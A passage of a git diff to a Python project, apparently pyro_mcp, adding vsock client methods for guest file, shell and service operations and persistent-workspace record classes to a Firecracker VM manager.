timeout_seconds: int = 60, + uds_path: str | None = None, + ) -> GuestArchiveExportResponse: + request = { + "action": "export_archive", + "path": workspace_path, + } + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + header = self._recv_line(sock) + if header.strip() == "": + raise RuntimeError("guest export response header is empty") + payload = json.loads(header) + if not isinstance(payload, dict): + raise RuntimeError("guest export response header must be a JSON object") + error = payload.get("error") + if error is not None: + raise RuntimeError(str(error)) + archive_size = int(payload.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("guest export archive_size must not be negative") + with archive_path.open("wb") as handle: + remaining = archive_size + while remaining > 0: + chunk = sock.recv(min(65536, remaining)) + if chunk == b"": + raise RuntimeError("unexpected EOF while receiving export archive") + handle.write(chunk) + remaining -= len(chunk) + finally: + sock.close() + return GuestArchiveExportResponse( + workspace_path=str(payload.get("workspace_path", workspace_path)), + artifact_type=str(payload.get("artifact_type", "file")), + entry_count=int(payload.get("entry_count", 0)), + bytes_written=int(payload.get("bytes_written", 0)), + ) + + def list_workspace_entries( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + recursive: bool, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "list_workspace", + "path": workspace_path, + "recursive": recursive, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest workspace file list response must be a JSON object", + ) + + def read_workspace_file( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + max_bytes: int, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + payload = self._request_json( + guest_cid, + port, + { + "action": "read_workspace_file", + "path": workspace_path, + "max_bytes": max_bytes, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest workspace file read response must be a JSON object", + ) + raw_content = payload.get("content_b64", "") + if not isinstance(raw_content, str): + raise RuntimeError("guest workspace file read response is missing content_b64") + payload["content_bytes"] = base64.b64decode(raw_content.encode("ascii"), validate=True) + payload.pop("content_b64", None) + return payload + + def write_workspace_file( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + text: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "write_workspace_file", + "path": workspace_path, + "text": text, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest workspace file write response must be a JSON object", + ) + + def delete_workspace_path( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "delete_workspace_path", + "path": workspace_path, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest workspace path delete response must be a JSON object", + ) + + def open_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + cwd: str, + cols: int, + rows: int, + env: dict[str, str] | None = None, + redact_values: list[str] | None = None, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> GuestShellSummary: + payload = self._request_json( + guest_cid, + port, + { + "action": "open_shell", + "shell_id": shell_id, + "cwd": cwd, + "cols": cols, + "rows": rows, + "env": env, + "redact_values": redact_values, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell open response must be a JSON object", + ) + return self._shell_summary_from_payload(payload) + + def read_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + cursor: int, + max_chars: int, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> GuestShellReadResponse: + payload = self._request_json( + guest_cid, + port, + { + "action": "read_shell", + "shell_id": shell_id, + "cursor": cursor, + "max_chars": max_chars, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell read response must be a JSON object", + ) + summary = self._shell_summary_from_payload(payload) + return GuestShellReadResponse( + shell_id=summary.shell_id, + cwd=summary.cwd, + cols=summary.cols, + rows=summary.rows, + state=summary.state, + started_at=summary.started_at, + ended_at=summary.ended_at, + exit_code=summary.exit_code, + cursor=int(payload.get("cursor", cursor)), + next_cursor=int(payload.get("next_cursor", cursor)), + output=str(payload.get("output", "")), + truncated=bool(payload.get("truncated", False)), + ) + + def write_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + input_text: str, + append_newline: bool, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + payload = self._request_json( + guest_cid, + port, + { + "action": "write_shell", + "shell_id": shell_id, + "input": input_text, + "append_newline": append_newline, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell write response must be a JSON object", + ) + self._shell_summary_from_payload(payload) + return payload + + def signal_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + signal_name: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + payload = self._request_json( + guest_cid, + port, + { + "action": "signal_shell", + "shell_id": shell_id, + "signal": signal_name, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell signal response must be a JSON object", + ) + self._shell_summary_from_payload(payload) + return payload + + def close_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + payload = self._request_json( + guest_cid, + port, + { + "action": "close_shell", + "shell_id": shell_id, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell close response must be a JSON object", + ) + self._shell_summary_from_payload(payload) + return payload + + def start_service( + self, + guest_cid: int, + port: int, + *, + service_name: str, + command: str, + cwd: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + env: dict[str, str] | None = None, + timeout_seconds: int = 60, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "start_service", + "service_name": service_name, + "command": command, + "cwd": cwd, + "readiness": readiness, + "ready_timeout_seconds": ready_timeout_seconds, + "ready_interval_ms": ready_interval_ms, + "env": env, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest service start response must be a JSON object", + ) + + def status_service( + self, + guest_cid: int, + port: int, + *, + service_name: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "status_service", + "service_name": service_name, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest service status response must be a JSON object", + ) + + def logs_service( + self, + guest_cid: int, + port: int, + *, + service_name: str, + tail_lines: int | None, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "logs_service", + "service_name": service_name, + "tail_lines": tail_lines, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest service logs response must be a JSON object", + ) + + def stop_service( + self, + guest_cid: int, + port: int, + *, + service_name: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "stop_service", + "service_name": service_name, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest service stop response must be a JSON object", + ) + + def _request_json( + self, + guest_cid: int, + port: int, + request: dict[str, Any], + *, + timeout_seconds: int, + uds_path: str | None, + error_message: str, + ) -> dict[str, Any]: + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + payload = self._recv_json_payload(sock) + finally: + sock.close() + if not isinstance(payload, dict): + raise RuntimeError(error_message) + error = payload.get("error") + if error is not None: + raise RuntimeError(str(error)) + return payload + + @staticmethod + def _shell_summary_from_payload(payload: dict[str, Any]) -> GuestShellSummary: + return GuestShellSummary( + shell_id=str(payload.get("shell_id", "")), + cwd=str(payload.get("cwd", "/workspace")), + cols=int(payload.get("cols", 0)), + rows=int(payload.get("rows", 0)), + state=str(payload.get("state", "stopped")), + started_at=float(payload.get("started_at", 0.0)), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + ) + + def _connect( + self, + guest_cid: int, + port: int, + timeout_seconds: int, + *, + uds_path: str | None, + ) -> SocketLike: family = getattr(socket, "AF_VSOCK", None) if family is not None: sock = self._socket_factory(family, socket.SOCK_STREAM) @@ -59,33 +624,15 @@ class VsockExecClient: connect_address = uds_path else: raise RuntimeError("vsock sockets are not supported on this host Python runtime") - try: - sock.settimeout(timeout_seconds) - sock.connect(connect_address) - if family is None: - sock.sendall(f"CONNECT {port}\n".encode("utf-8")) - status = self._recv_line(sock) - if not status.startswith("OK "): - raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}") - sock.sendall((json.dumps(request) + "\n").encode("utf-8")) - chunks: list[bytes] = [] - while True: - data = sock.recv(65536) - if data == b"": - break - chunks.append(data) - finally: - sock.close() - - payload = json.loads(b"".join(chunks).decode("utf-8")) - if not isinstance(payload, dict): - raise RuntimeError("guest exec response must be a JSON object") - return GuestExecResponse( - stdout=str(payload.get("stdout", "")), - stderr=str(payload.get("stderr", "")), - exit_code=int(payload.get("exit_code", -1)), - duration_ms=int(payload.get("duration_ms", 0)), - ) + sock.settimeout(timeout_seconds) + sock.connect(connect_address) + if family is None: + sock.sendall(f"CONNECT {port}\n".encode("utf-8")) + status = self._recv_line(sock) + if not status.startswith("OK "): + sock.close() + raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}") + return sock @staticmethod def _recv_line(sock: SocketLike) -> str: @@ -98,3 +645,13 @@ class VsockExecClient: if data == b"\n": break return b"".join(chunks).decode("utf-8", errors="replace") + + @staticmethod + def _recv_json_payload(sock: SocketLike) -> Any: + chunks: list[bytes] = [] + while True: + data = sock.recv(65536) + if data == b"": + break + chunks.append(data) + return json.loads(b"".join(chunks).decode("utf-8")) diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 5cc0b17..669b9cd 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -1,30 +1,146 @@ -"""Lifecycle manager for ephemeral VM environments.""" +"""Lifecycle manager for ephemeral VM environments and persistent workspaces.""" from __future__ import annotations +import difflib +import io +import json import os +import re +import shlex import shutil import signal +import socket import subprocess +import sys +import tarfile +import tempfile import threading import time +import urllib.error +import urllib.request import uuid from dataclasses import dataclass, field -from pathlib import Path -from typing import Any, Literal +from pathlib import Path, PurePosixPath +from typing import Any, Literal, cast +from pyro_mcp.daily_loop import ( + DailyLoopManifest, + evaluate_daily_loop_status, + load_prepare_manifest, + prepare_manifest_path, + prepare_request_is_satisfied, + serialize_daily_loop_report, + write_prepare_manifest, +) from pyro_mcp.runtime import ( RuntimeCapabilities, RuntimePaths, resolve_runtime_paths, runtime_capabilities, ) -from pyro_mcp.vm_environments import EnvironmentStore, get_environment +from pyro_mcp.vm_environments import EnvironmentStore, default_cache_dir, get_environment from pyro_mcp.vm_firecracker import build_launch_plan from pyro_mcp.vm_guest import VsockExecClient from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager +from pyro_mcp.workspace_disk import ( + export_workspace_disk_image, + list_workspace_disk, + read_workspace_disk_file, + scrub_workspace_runtime_paths, +) +from pyro_mcp.workspace_files import ( + DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES as DEFAULT_WORKSPACE_FILE_READ_LIMIT, +) +from pyro_mcp.workspace_files import ( + WORKSPACE_FILE_MAX_BYTES as WORKSPACE_FILE_MAX_LIMIT, +) +from pyro_mcp.workspace_files import ( + WORKSPACE_PATCH_MAX_BYTES as WORKSPACE_PATCH_MAX_LIMIT, +) +from pyro_mcp.workspace_files import ( + WorkspaceTextPatch, + apply_unified_text_patch, + delete_workspace_path, + list_workspace_files, + normalize_workspace_path, + parse_unified_text_patch, + read_workspace_file, + write_workspace_file, +) +from pyro_mcp.workspace_ports import DEFAULT_PUBLISHED_PORT_HOST +from pyro_mcp.workspace_shell_output import render_plain_shell_output +from pyro_mcp.workspace_shells import ( + create_local_shell, + get_local_shell, + remove_local_shell, + shell_signal_names, +) VmState = Literal["created", "started", "stopped"] +WorkspaceShellState = Literal["running", "stopped"] +WorkspaceServiceState = Literal["running", "exited", "stopped", "failed"] +WorkspaceNetworkPolicy = Literal["off", "egress", "egress+published-ports"] + +DEFAULT_VCPU_COUNT = 1 +DEFAULT_MEM_MIB = 1024 +DEFAULT_TIMEOUT_SECONDS = 30 +DEFAULT_TTL_SECONDS = 600 +DEFAULT_ALLOW_HOST_COMPAT = False + +WORKSPACE_LAYOUT_VERSION = 9 +WORKSPACE_BASELINE_DIRNAME = "baseline" +WORKSPACE_BASELINE_ARCHIVE_NAME = "workspace.tar" +WORKSPACE_SNAPSHOTS_DIRNAME = "snapshots" +WORKSPACE_DIRNAME = "workspace" +WORKSPACE_COMMANDS_DIRNAME = "commands" +WORKSPACE_REVIEW_DIRNAME = "review" +WORKSPACE_SHELLS_DIRNAME = "shells" +WORKSPACE_SERVICES_DIRNAME = "services" +WORKSPACE_SECRETS_DIRNAME = "secrets" +WORKSPACE_RUNTIME_DIRNAME = "runtime" +WORKSPACE_GUEST_PATH = "/workspace" +WORKSPACE_GUEST_AGENT_PATH = "/opt/pyro/bin/pyro_guest_agent.py" +WORKSPACE_GUEST_INIT_PATH = "/opt/pyro/bin/pyro-init" +WORKSPACE_GUEST_SECRETS_PATH = "/run/pyro-secrets" +WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS = 60 +WORKSPACE_SECRET_MAX_BYTES = 64 * 1024 +DEFAULT_SHELL_COLS = 120 +DEFAULT_SHELL_ROWS = 30 +DEFAULT_SHELL_MAX_CHARS = 65536 +DEFAULT_SHELL_WAIT_FOR_IDLE_MS = 300 +MAX_SHELL_WAIT_FOR_IDLE_MS = 10000 +SHELL_IDLE_POLL_INTERVAL_SECONDS = 0.05 +DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES = 65536 +DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = DEFAULT_WORKSPACE_FILE_READ_LIMIT +WORKSPACE_FILE_MAX_BYTES = WORKSPACE_FILE_MAX_LIMIT +WORKSPACE_PATCH_MAX_BYTES = WORKSPACE_PATCH_MAX_LIMIT +DEFAULT_SERVICE_READY_TIMEOUT_SECONDS = 30 +DEFAULT_SERVICE_READY_INTERVAL_MS = 500 +DEFAULT_SERVICE_LOG_TAIL_LINES = 200 +DEFAULT_WORKSPACE_NETWORK_POLICY: WorkspaceNetworkPolicy = "off" +WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() +WORKSPACE_SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") +WORKSPACE_SNAPSHOT_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") +WORKSPACE_SECRET_NAME_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$") +WORKSPACE_LABEL_KEY_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") + +WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] +WorkspaceSeedOriginKind = Literal["empty", "manual_seed_path", "project_path", "repo_url"] +WorkspaceArtifactType = Literal["file", "directory", "symlink"] +WorkspaceReviewEventKind = Literal[ + "file_write", + "patch_apply", + "service_start", + "service_stop", + "snapshot_create", + "snapshot_delete", + "sync_push", + "workspace_export", +] +WorkspaceServiceReadinessType = Literal["file", "tcp", "http", "command"] +WorkspaceSnapshotKind = Literal["baseline", "named"] +WorkspaceSecretSourceKind = Literal["literal", "file"] @dataclass @@ -41,12 +157,450 @@ class VmInstance: workdir: Path state: VmState = "created" network_requested: bool = False + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT firecracker_pid: int | None = None last_error: str | None = None metadata: dict[str, str] = field(default_factory=dict) network: NetworkConfig | None = None +@dataclass +class WorkspaceRecord: + """Persistent workspace metadata stored on disk.""" + + workspace_id: str + environment: str + vcpu_count: int + mem_mib: int + ttl_seconds: int + created_at: float + expires_at: float + state: VmState + network_policy: WorkspaceNetworkPolicy + allow_host_compat: bool + firecracker_pid: int | None = None + last_error: str | None = None + metadata: dict[str, str] = field(default_factory=dict) + network: NetworkConfig | None = None + name: str | None = None + labels: dict[str, str] = field(default_factory=dict) + last_activity_at: float = 0.0 + command_count: int = 0 + last_command: dict[str, Any] | None = None + workspace_seed: dict[str, Any] = field(default_factory=dict) + secrets: list[WorkspaceSecretRecord] = field(default_factory=list) + reset_count: int = 0 + last_reset_at: float | None = None + + @classmethod + def from_instance( + cls, + instance: VmInstance, + *, + network_policy: WorkspaceNetworkPolicy = DEFAULT_WORKSPACE_NETWORK_POLICY, + command_count: int = 0, + last_command: dict[str, Any] | None = None, + workspace_seed: dict[str, Any] | None = None, + secrets: list[WorkspaceSecretRecord] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, + ) -> WorkspaceRecord: + return cls( + workspace_id=instance.vm_id, + environment=instance.environment, + vcpu_count=instance.vcpu_count, + mem_mib=instance.mem_mib, + ttl_seconds=instance.ttl_seconds, + created_at=instance.created_at, + expires_at=instance.expires_at, + state=instance.state, + network_policy=network_policy, + allow_host_compat=instance.allow_host_compat, + firecracker_pid=instance.firecracker_pid, + last_error=instance.last_error, + metadata=dict(instance.metadata), + network=instance.network, + name=name, + labels=dict(labels or {}), + last_activity_at=instance.created_at, + command_count=command_count, + last_command=last_command, + workspace_seed=dict(workspace_seed or _empty_workspace_seed_payload()), + secrets=list(secrets or []), + reset_count=0, + last_reset_at=None, + ) + + def to_instance(self, *, workdir: Path) -> VmInstance: + return VmInstance( + vm_id=self.workspace_id, + environment=self.environment, + vcpu_count=self.vcpu_count, + mem_mib=self.mem_mib, + ttl_seconds=self.ttl_seconds, + created_at=self.created_at, + expires_at=self.expires_at, + workdir=workdir, + state=self.state, + network_requested=self.network_policy != "off", + allow_host_compat=self.allow_host_compat, + firecracker_pid=self.firecracker_pid, + last_error=self.last_error, + metadata=dict(self.metadata), + network=self.network, + ) + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, + "environment": self.environment, + "vcpu_count": self.vcpu_count, + "mem_mib": self.mem_mib, + "ttl_seconds": self.ttl_seconds, + "created_at": self.created_at, + "expires_at": self.expires_at, + "state": self.state, + "network_policy": self.network_policy, + "allow_host_compat": self.allow_host_compat, + "firecracker_pid": self.firecracker_pid, + "last_error": self.last_error, + "metadata": self.metadata, + "network": _serialize_network(self.network), + "name": self.name, + "labels": self.labels, + "last_activity_at": self.last_activity_at, + "command_count": self.command_count, + "last_command": self.last_command, + "workspace_seed": self.workspace_seed, + "secrets": [secret.to_payload() for secret in self.secrets], + "reset_count": self.reset_count, + "last_reset_at": self.last_reset_at, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceRecord: + return cls( + workspace_id=str(payload["workspace_id"]), + environment=str(payload["environment"]), + vcpu_count=int(payload["vcpu_count"]), + mem_mib=int(payload["mem_mib"]), + ttl_seconds=int(payload["ttl_seconds"]), + created_at=float(payload["created_at"]), + expires_at=float(payload["expires_at"]), + state=cast(VmState, str(payload.get("state", "stopped"))), + network_policy=_workspace_network_policy_from_payload(payload), + allow_host_compat=bool(payload.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), + firecracker_pid=_optional_int(payload.get("firecracker_pid")), + last_error=_optional_str(payload.get("last_error")), + metadata=_string_dict(payload.get("metadata")), + network=_deserialize_network(payload.get("network")), + name=_normalize_workspace_name(_optional_str(payload.get("name")), allow_none=True), + labels=_normalize_workspace_labels(payload.get("labels")), + last_activity_at=float(payload.get("last_activity_at", float(payload["created_at"]))), + command_count=int(payload.get("command_count", 0)), + last_command=_optional_dict(payload.get("last_command")), + workspace_seed=_workspace_seed_dict(payload.get("workspace_seed")), + secrets=_workspace_secret_records(payload.get("secrets")), + reset_count=int(payload.get("reset_count", 0)), + last_reset_at=( + None + if payload.get("last_reset_at") is None + else float(payload.get("last_reset_at", 0.0)) + ), + ) + + +@dataclass(frozen=True) +class WorkspaceSecretRecord: + """Persistent secret metadata stored on disk per workspace.""" + + name: str + source_kind: WorkspaceSecretSourceKind + stored_path: str + + def to_payload(self) -> dict[str, Any]: + return { + "name": self.name, + "source_kind": self.source_kind, + "stored_path": self.stored_path, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceSecretRecord: + return cls( + name=str(payload["name"]), + source_kind=cast(WorkspaceSecretSourceKind, str(payload.get("source_kind", "literal"))), + stored_path=str(payload["stored_path"]), + ) + + +@dataclass(frozen=True) +class WorkspaceReviewEventRecord: + """Persistent concise review event metadata stored on disk per workspace.""" + + workspace_id: str + event_kind: WorkspaceReviewEventKind + recorded_at: float + payload: dict[str, Any] + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, + "event_kind": self.event_kind, + "recorded_at": self.recorded_at, + "payload": self.payload, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceReviewEventRecord: + raw_payload = payload.get("payload") + return cls( + workspace_id=str(payload["workspace_id"]), + event_kind=cast(WorkspaceReviewEventKind, str(payload["event_kind"])), + recorded_at=float(payload["recorded_at"]), + payload=dict(raw_payload) if isinstance(raw_payload, dict) else {}, + ) + + +@dataclass +class WorkspaceSnapshotRecord: + """Persistent snapshot metadata stored on disk per workspace.""" + + workspace_id: str + snapshot_name: str + kind: WorkspaceSnapshotKind + created_at: float + entry_count: int + bytes_written: int + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, + "snapshot_name": self.snapshot_name, + "kind": self.kind, + "created_at": self.created_at, + "entry_count": self.entry_count, + "bytes_written": self.bytes_written, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceSnapshotRecord: + return cls( + workspace_id=str(payload["workspace_id"]), + snapshot_name=str(payload["snapshot_name"]), + kind=cast(WorkspaceSnapshotKind, str(payload.get("kind", "named"))), + created_at=float(payload["created_at"]), + entry_count=int(payload.get("entry_count", 0)), + bytes_written=int(payload.get("bytes_written", 0)), + ) + + +@dataclass +class WorkspaceShellRecord: + """Persistent shell metadata stored on disk per workspace.""" + + workspace_id: str + shell_id: str + cwd: str + cols: int + rows: int + state: WorkspaceShellState + started_at: float + ended_at: float | None = None + exit_code: int | None = None + execution_mode: str = "pending" + metadata: dict[str, str] = field(default_factory=dict) + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, + "shell_id": self.shell_id, + "cwd": self.cwd, + "cols": self.cols, + "rows": self.rows, + "state": self.state, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + "execution_mode": self.execution_mode, + "metadata": dict(self.metadata), + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceShellRecord: + return cls( + workspace_id=str(payload["workspace_id"]), + shell_id=str(payload["shell_id"]), + cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), + cols=int(payload.get("cols", DEFAULT_SHELL_COLS)), + rows=int(payload.get("rows", DEFAULT_SHELL_ROWS)), + state=cast(WorkspaceShellState, str(payload.get("state", "stopped"))), + started_at=float(payload.get("started_at", 0.0)), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + execution_mode=str(payload.get("execution_mode", "pending")), + metadata=_string_dict(payload.get("metadata")), + ) + + +@dataclass +class WorkspaceServiceRecord: + """Persistent service metadata stored on disk per workspace.""" + + workspace_id: str + service_name: str + command: str + cwd: str + state: WorkspaceServiceState + started_at: float + readiness: dict[str, Any] | None = None + ready_at: float | None = None + ended_at: float | None = None + exit_code: int | None = None + pid: int | None = None + execution_mode: str = "pending" + stop_reason: str | None = None + published_ports: list[WorkspacePublishedPortRecord] = field(default_factory=list) + metadata: dict[str, str] = field(default_factory=dict) + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, + "service_name": self.service_name, + "command": self.command, + "cwd": self.cwd, + "state": self.state, + "started_at": self.started_at, + "readiness": self.readiness, + "ready_at": self.ready_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + "pid": self.pid, + "execution_mode": self.execution_mode, + "stop_reason": self.stop_reason, + "published_ports": [ + published_port.to_payload() for published_port in self.published_ports + ], + "metadata": dict(self.metadata), + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceServiceRecord: + readiness_payload = payload.get("readiness") + readiness = None + if isinstance(readiness_payload, dict): + readiness = dict(readiness_payload) + return cls( + workspace_id=str(payload["workspace_id"]), + service_name=str(payload["service_name"]), + command=str(payload.get("command", "")), + cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), + state=cast(WorkspaceServiceState, str(payload.get("state", "stopped"))), + started_at=float(payload.get("started_at", 0.0)), + readiness=readiness, + ready_at=( + None if payload.get("ready_at") is None else float(payload.get("ready_at", 0.0)) + ), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + pid=None if payload.get("pid") is None else int(payload.get("pid", 0)), + execution_mode=str(payload.get("execution_mode", "pending")), + stop_reason=_optional_str(payload.get("stop_reason")), + published_ports=_workspace_published_port_records(payload.get("published_ports")), + metadata=_string_dict(payload.get("metadata")), + ) + + +@dataclass(frozen=True) +class WorkspacePublishedPortRecord: + """Persisted localhost published-port metadata for one service.""" + + guest_port: int + host_port: int + host: str = DEFAULT_PUBLISHED_PORT_HOST + protocol: str = "tcp" + proxy_pid: int | None = None + + def to_payload(self) -> dict[str, Any]: + return { + "guest_port": self.guest_port, + "host_port": self.host_port, + "host": self.host, + "protocol": self.protocol, + "proxy_pid": self.proxy_pid, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspacePublishedPortRecord: + return cls( + guest_port=int(payload["guest_port"]), + host_port=int(payload["host_port"]), + host=str(payload.get("host", DEFAULT_PUBLISHED_PORT_HOST)), + protocol=str(payload.get("protocol", "tcp")), + proxy_pid=( + None if payload.get("proxy_pid") is None else int(payload.get("proxy_pid", 0)) + ), + ) + + +@dataclass(frozen=True) +class WorkspacePublishedPortSpec: + """Requested published-port configuration for one service.""" + + guest_port: int + host_port: int | None = None + + +@dataclass(frozen=True) +class PreparedWorkspaceSeed: + """Prepared host-side seed archive plus metadata.""" + + mode: WorkspaceSeedMode + source_path: str | None + origin_kind: WorkspaceSeedOriginKind = "empty" + origin_ref: str | None = None + archive_path: Path | None = None + entry_count: int = 0 + bytes_written: int = 0 + cleanup_dir: Path | None = None + + def to_payload( + self, + *, + destination: str = WORKSPACE_GUEST_PATH, + path_key: str = "seed_path", + include_origin: bool = True, + ) -> dict[str, Any]: + payload = { + "mode": self.mode, + path_key: self.source_path, + "destination": destination, + "entry_count": self.entry_count, + "bytes_written": self.bytes_written, + } + if include_origin: + payload["origin_kind"] = self.origin_kind + payload["origin_ref"] = self.origin_ref + return payload + + def cleanup(self) -> None: + if self.cleanup_dir is not None: + shutil.rmtree(self.cleanup_dir, ignore_errors=True) + + @dataclass(frozen=True) class VmExecResult: """Command execution output.""" @@ -57,9 +611,210 @@ class VmExecResult: duration_ms: int -def _run_host_command(workdir: Path, command: str, timeout_seconds: int) -> VmExecResult: +@dataclass(frozen=True) +class ExportedWorkspaceArchive: + workspace_path: str + artifact_type: WorkspaceArtifactType + archive_path: Path + entry_count: int + bytes_written: int + + +@dataclass(frozen=True) +class WorkspaceTreeEntry: + path: str + artifact_type: WorkspaceArtifactType + disk_path: Path + size_bytes: int = 0 + link_target: str | None = None + + +def _optional_int(value: object) -> int | None: + if value is None: + return None + if isinstance(value, bool): + return int(value) + if isinstance(value, int): + return value + if isinstance(value, float): + return int(value) + if isinstance(value, str): + return int(value) + raise TypeError("expected integer-compatible payload") + + +def _optional_str(value: object) -> str | None: + if value is None: + return None + return str(value) + + +def _optional_dict(value: object) -> dict[str, Any] | None: + if value is None: + return None + if not isinstance(value, dict): + raise TypeError("expected dictionary payload") + return dict(value) + + +def _string_dict(value: object) -> dict[str, str]: + if not isinstance(value, dict): + return {} + return {str(key): str(item) for key, item in value.items()} + + +def _empty_workspace_seed_payload() -> dict[str, Any]: + return { + "mode": "empty", + "seed_path": None, + "origin_kind": "empty", + "origin_ref": None, + "destination": WORKSPACE_GUEST_PATH, + "entry_count": 0, + "bytes_written": 0, + } + + +def _workspace_seed_dict(value: object) -> dict[str, Any]: + if not isinstance(value, dict): + return _empty_workspace_seed_payload() + payload = _empty_workspace_seed_payload() + payload.update( + { + "mode": str(value.get("mode", payload["mode"])), + "seed_path": _optional_str(value.get("seed_path")), + "origin_kind": str(value.get("origin_kind", payload["origin_kind"])), + "origin_ref": _optional_str(value.get("origin_ref")), + "destination": str(value.get("destination", payload["destination"])), + "entry_count": int(value.get("entry_count", payload["entry_count"])), + "bytes_written": int(value.get("bytes_written", payload["bytes_written"])), + } + ) + return payload + + +def _normalize_workspace_network_policy(policy: str) -> WorkspaceNetworkPolicy: + normalized = policy.strip().lower() + if normalized not in {"off", "egress", "egress+published-ports"}: + raise ValueError("network_policy must be one of: off, egress, egress+published-ports") + return cast(WorkspaceNetworkPolicy, normalized) + + +def _workspace_network_policy_from_payload(payload: dict[str, 